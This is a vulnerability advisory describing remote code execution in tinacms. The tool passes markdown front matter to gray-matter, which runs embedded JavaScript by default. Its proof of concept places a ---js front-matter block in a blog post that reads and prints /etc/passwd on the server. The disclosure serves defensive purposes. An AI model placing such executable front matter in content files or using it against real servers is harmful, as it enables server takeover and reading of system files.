tinacms is vulnerable to arbitrary code execution

Summary

tinacms uses the gray-matter package in an insecure way allowing attackers that can control the content of the processed markdown files, e.g., blog posts, to execute arbitrary code.

Details

The gray-matter package executes by default the code in the markdown file's front matter. tinacms does not change this behavior when process markdown file, e.g., by passing a custom engine property for js/javascript in the options object.

PoC

1. Create a tinacms app using the cli/documentation:

npx create-tina-app@latest

2. Modify one of the blog posts to contain the following front matter:

---js
{
  "title": "Pawned" + console.log(require("fs").readFileSync("/etc/passwd").toString())
}
---

3. Start the tinacms server, e.g., with npm run dev
4. Observe the console of the server printing the password file, showing that attackers can execute arbitrary commands.

Impact

RCE: attackers can execute arbitrary JavaScript code on the server hosting tinacms.

Feasibility

Potential attack scenarios can be executed like this: Companies often have technical writers as contractors. These contractors produce md files, which they send over email or upload in a shared cloud folder. Developers download these files and upload them in tinacms's content folder. While this example might appear speculative or contrived, a general observation is that developers would be very surprised to find out that processing untrusted markdown files via tinacms = server-side code execution = complete machine take over. That is, tinacms users might not expect markdown files to contain anything else than data and gray-matter violates that assumption.